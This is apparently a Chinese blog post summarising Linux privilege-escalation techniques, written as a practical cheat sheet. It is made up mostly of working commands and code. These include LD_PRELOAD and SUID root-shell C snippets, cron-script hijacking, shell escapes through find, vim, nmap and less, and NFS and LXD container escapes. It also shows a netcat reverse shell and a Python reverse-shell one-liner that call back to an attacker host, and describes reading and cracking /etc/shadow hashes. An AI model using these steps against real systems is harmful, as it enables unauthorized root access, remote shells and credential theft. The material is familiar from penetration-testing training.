Linux提权小结

privilege-escalation-awesome-scripts-suite(已导入码云):

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

辅助提权脚本:

linux-smart-enumeration
常用命令:

wget "https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh" -O lse.sh;chmod 700 lse.sh
curl "https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh" -Lo lse.sh;chmod 700 lse.sh

LinEnum
常⽤命令:

./LinEnum.sh -r report -e /tmp/ -t 

生成的结果将导出到 /tmp/report ⽂件 如果什么都不加的话,就是输出到标准输出。
BeRoot

python beroot.py --password super_strong_password

这个⼯具包含了GTFOBins所提到的⽂件列表,也就是说,可以检查出⼀些通过sudo运⾏即可提权的⽂件

Pupy
基于python的内存态后渗透利⽤框架

软件漏洞提权:

利用脚本地址:https://github.com/belane/linux-soft-exploit-suggester
查找linux有哪些有漏洞的软件,通过对系统中所有易受攻击软件的利用,以帮助提升特权。它专注于软件包,而不是内核漏洞。
利用过程:

# Update exploit database:
python linux-soft-exploit-suggester.py --update

#Get Package List:
    debian/ubuntu: dpkg -l > package_list
    redhat/centos: rpm -qa > package_list

python linux-soft-exploit-suggester.py --file package_list --db files_exploits.cve

内核漏洞提权:

利用脚本地址:https://github.com/mzet-/linux-exploit-suggester:
利用脚本地址2:https://github.com/jondonas/linux-exploit-suggester-2

查找linux有哪些补丁没有打,该工具评估(使用启发式方法,在此进行详细讨论)在每个公开的Linux内核漏洞上,给定内核的暴露程度
结果如下:

附上Linux平台提权漏洞集合:https://github.com/SecWiki/linux-kernel-exploits

常见漏洞:

  1. CVE-2016-5195 (DirtyCow):(Linux Kernel <= 3.19.0-73.8)
    https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
  2. CVE-2010-3904 (RDS):(Linux Kernel <= 2.6.36-rc8)
    https://www.exploit-db.com/exploits/15285/
  3. CVE-2010-4258 (Full Nelson):(Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04))
    https://www.exploit-db.com/exploits/15704/
  4. CVE-2012-0056 (Mempodipper):(Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64))
    https://www.exploit-db.com/exploits/18411
  5. CVE-2019-13272:kernel 5.1.17之前版本中存在安全漏洞,该漏洞源于kernel/ptrace.c文件的ptrace_link没有正确处理对凭证的记录。攻击者可利用该漏洞获取root访问权限

利用python包进行高权限用户创建:

Python软件包允许在运行时和安装时执行任意代码
利用脚本地址:https://github.com/mschwager/0wned
利用过程:

git clone https://github.com/mschwager/0wned.git
cd 0wned
sudo python setup.py install

这里我们稍微修改下代码:

成功读取/etc/shadow文件,这里仅提供一种思路

在pip安装过程0wned中能够成功写入根目录!这意味着0wned可以以root用户或管理用户身份执行任何操作。

计划任务:

生成环境里边部署的linux系统可能有一些计划任务,一般这些任务由crontab来管理,具有所属用户的权限,非root权限的用户是不可以列出root用户的计划任务的,但是/etc/内系统的计划任务可以被列出

默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写的管理员,我们就可以修改脚本等回连rootshell了
假设root调用某个脚本/tmp/te.py每分钟进行执行,非root账户对能够对文件如下修改,直接写了个反弹shell:

检查系统中存在的cron计划任务,看看是否有权限访问和修改
检查文件内容,看看有没有可以提权的途径
利⽤pspy⼯具,检查命令和⽂件系统事件 ./pspy64 -pf -i 1000

cron的⽇志⽂件存储为 /var/log/cronlog ,可以看到最近执⾏的定时任务信息。

相关信息:
配置文件读取路径:
/var/spool/cron/ , 由crontab -e 进行写入,配置文件无需指定用户;用户创建的任务在对应用户名文件夹下。

/etc/crontab ,只能root 进行编辑,配置文件需指定用户
/etc/cron.d/ ,在此文件夹下创建定时任务文件(和 /etc/crontab 一样)
日志保存地址: /var/log/cron ;要禁止某个用户使用,将用户名添加到 /etc/cron.deny文件中。

明文root密码权限

大多数linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面储存了用户,shadow里面是密码的hash。出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的

典型的etc/passwd文件:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
ibuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin

passwd由冒号分割,第一列是用户名,第二列是密码,x代表密码hash被放在shadow里面了(这样非root就看不到了)。而shadow里面最重要的就是密码的hash
典型etc/shadow文件:

root:$6$URgq7sJf$4x8e9ntqTwAPIubi9YLxLQ2mZTTZKnGz0g/wWzOdPB5eGuz.S5iRtFdvfFd9VIVEWouiodB/hh9BYOLgAD8u5/:16902:0:99999:7:::
daemon:*:15730:0:99999:7:::
bin:*:15730:0:99999:7:::
sys:*:15730:0:99999:7:::
sync:*:15730:0:99999:7:::
games:*:15730:0:99999:7:::
man:*:15730:0:99999:7:::
lp:*:15730:0:99999:7:::
mail:*:15730:0:99999:7:::
news:*:15730:0:99999:7:::
uucp:*:15730:0:99999:7:::
proxy:*:15730:0:99999:7:::
www-data:*:15730:0:99999:7:::
backup:*:15730:0:99999:7:::
list:*:15730:0:99999:7:::
irc:*:15730:0:99999:7:::
gnats:*:15730:0:99999:7:::
nobody:*:15730:0:99999:7:::
libuuid:!:15730:0:99999:7:::
syslog:*:15730:0:99999:7:::
mysql:!:15730:0:99999:7:::
dovecot:*:15730:0:99999:7:::
sshd:*:15730:0:99999:7:::
postfix:*:15730:0:99999:7:::

如果passwd可写,我们就可以把root的密码字段(x)替换成一个已知密码的hash(比如本机shadow里面的root密码hash),这样系统在验证密码时以passwd的为准,密码就已知了。如果shadow可读,我们可以读走root的hash,然后用hashcat或者john暴力破解之。

SUDO提权:

利用条件:

sudo的版本号<1.8.28
知道当前用户的密码
当前用户存在于sudo权限列表

# 查看sudo版本号
sudo -V

当我们有了root密码后,ssh很可能禁止root登陆,或是防火墙规则将你排除在外了。那如果我们有一个低权shell,找个办法再上面“输入”密码就好了。直接在低权shell里面用sudo是不奏效的。这是因为出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。python就有这样的功能。在shell里面输入:

python -c 'import pty;pty.spawn("/bin/sh")'

就用python简历了一个虚拟终端,然后就可以使用sudo等等命令了:

python -c 'import pty;pty.spawn("/bin/sh")'
$ sudo su
sudo su
[sudo] password for www-data: 123456
Sorry, try again.
[sudo] password for www-data: 

1.sudo -l :查看当前用户sudo⽀持的命令

$ sudo -l
User demo may run the following commands on crashlab:
   (root) NOPASSWD: /usr/bin/mysql

比如以上结果列出了mysql,就可以使⽤ sudo mysql -e '\! /bin/sh' 获得⼀个特权shell, 或者 sudo -u root mysql -e '\! /bin/sh'
最牛掰的情况:

ignite ALL=(root) NOPASSWD: ALL

user用户拥有root权限以外的所有权限!

这里分享一种内核漏洞之外的提权手法,它的成功率非常高,并且不像内核提权那样可能导致系统挂起,它就是对系统完全无损的 sudo 误配提取手法:

查看 home/ 目录下是否 .sudo_as_admin_successful 文件,若有则可以输入当前低权账号的密码直接 sudo su 切换为 root 用户,而在已经获取当前账号的系统环境的前提下,要拿到低权账号的密码,虽然有门槛,但也不是不可能(如,翻找各类配置文件)

2.利⽤LD_PRELOAD:
如果在 sudoers ⽂件(/etc/sudoers)中明确定义了LD_PRELOAD的内容:

Defaults       env_keep += LD_PRELOAD

可以使⽤以下代码,编译共享链接库

gcc -fPIC -shared -o shell.so shell.c -nostartfiles
//shell.c
#include 
#include 
#include 
void _init() {
 unsetenv("LD_PRELOAD");
 setgid(0);
 setuid(0);
 system("/bin/sh");
}

使⽤如下命令,执⾏任何⼆进制程序以获得shell:

sudo LD_PRELOAD= 
#举个例子:sudo LD_PRELOAD=/tmp/shell.so find

3.同时要注意其他和sudo有同样功能的程序,⽐如openBSD的 doas 命令

# /etc/doas.conf
# 以root用户不需要密码执行 procmap
permit nopass tedu as root cmd /usr/sbin/procmap

4.sudo_inject:
在 /proc/sys/kernel/yama/ptrace_scope 中值为0,并且当前用户有正在使用sudo运⾏的进 程的时候,可以只用sudo_inject攻击来滥⽤当前令牌。

计划任务:

系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出:

ls -l /etc/cron*

默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写的管理员,我们就可以修改脚本等回连rootshell了。
打个比方,管理员设置了一个计划任务,定时使用clean,py清理文件。并且设置权限如下:

利用过程:
我们复制了/bin/sh到/tmp下并为/tmp/sh启用了SUID。使用编辑器打开sanitizer.py并将“rm -r /tmp/*”中的内容替换为以下两行:

os.system('cp /bin/sh /tmp/sh')
os.system('chmod u+s /tmp/sh')

一段时间后,它将在/tmp目录内创建一个具有SUID权限的sh文件,当你运行它时,你将会获取root访问权限,参考Linux持久化后门。
或者我们也可以通过写入python反向shell连接代码。

SUID提权:

参考Linux持久化后门,这里列举熟知的具有提权功能的Linux可执行文件:

  1. 给程序添加suid标记: chmod +s 文件
  2. 利⽤⾃⼰的代码做⼀个suid的shell
// filename: suid.c
int main(void){
setgid(0);
setuid(0);
system("/bin/bash");
 }
// 或者
int main(void){
    setresuid(0, 0, 0);
    system("/bin/sh");
}

gcc编译之后, chown root:root /tmp/suid; chmod 4777 /tmp/suid 【注意,得先把 属主改为root,之后再添加s标志】

Nmap
Vim
find
Bash
More
Less
Nano
cp

以下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
nmap:

较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。
为了启动交互模式,可以使用Nmap参数“interactive”。

以下命令将提供一个提权后的shell:

nmap> !sh
sh-3.2# whoami
root

此外,还有一个Metasploit模块,也可以通过SUID Nmap二进制文件进行提权。

exploit/unix/local/setuid_nmap
Find命令:

find命令 -exec参数可以用来指定系统命令,如果有py环境,可以直接将root权限,py反弹

find test -exec whoami \;
find test -exec bash -p \;
find test -exec /bin/sh \;(DC1就遇到bash⽆法提权,但是sh可以提权的情况)
find test -exec nc -e /bin/sh 192.168.139.128 9999 \;

py反弹命令:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
Vim:

Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。

vim.tiny /etc/shadow

此外,我们还可以通过Vim运行shell来执行只有root才能完成的操作。

vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell
#或者:
vim -c '!sh'
Bash:
#以root身份打开一个bash shell
bash -p
Less/More:

程序Less也可以执行提权后的shell。同样的方法也适用于其他许多命令。

less /etc/passwd
!/bin/sh(已经设置suid的sh)

NFS权限压缩:

NFS的配置⽂件: /etc/exports
如果`no_root_squash 出现在配置⽂件中的话,如果⽬录分享者是root,那么对于远程挂载 ⽤⼾来说,他也具有了该⽬录下root的权限。
利用过程:
1.查看远程主机共享的⽂件夹: showmount -e 10.10.10.10
2.建⽴⽬录、挂载远程主机共享⽂件

mkdir /tmp/nfsdir  
mount -t nfs 10.10.10.10:/shared /tmp/nfsdir    
cd /tmp/nfsdir

3.恶意利用

# copy wanted shell
cp /bin/bash . 
# set suid permission
chmod +s bash

LXC/LXD:

查看用户信息的时候,用户存在在组 lxc 或者 lxd 中
攻击机中执行:

# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
./build-alpine -a i686

靶机中执行:

# import the image
lxc image import ./alpine.tar.gz --alias myimage
# run the image
lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root
recursive=true
# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh
123456789

参考如下:

Linux常见提权
关于linux权限提升的一些方法

你可能感兴趣的:(Linux提权小结)